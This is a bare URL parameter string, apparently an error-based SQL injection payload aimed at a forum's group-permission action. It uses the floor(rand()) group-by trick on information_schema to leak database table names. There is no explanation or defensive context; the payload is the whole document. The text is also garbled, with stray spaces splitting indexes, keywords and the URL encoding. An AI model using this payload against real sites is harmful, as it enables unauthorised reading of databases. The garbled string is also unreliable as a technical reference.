action=grouppermission&gids[9 9]='&gids[1 0 0][0]=) and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(hex(table_name)) FROM information_schema. the tables where table_schema=database() limit 0,1)) from information_schema. tables limit 0,1),floor(rand(0)*2))x from information_schema. tables group by x)a)%2 3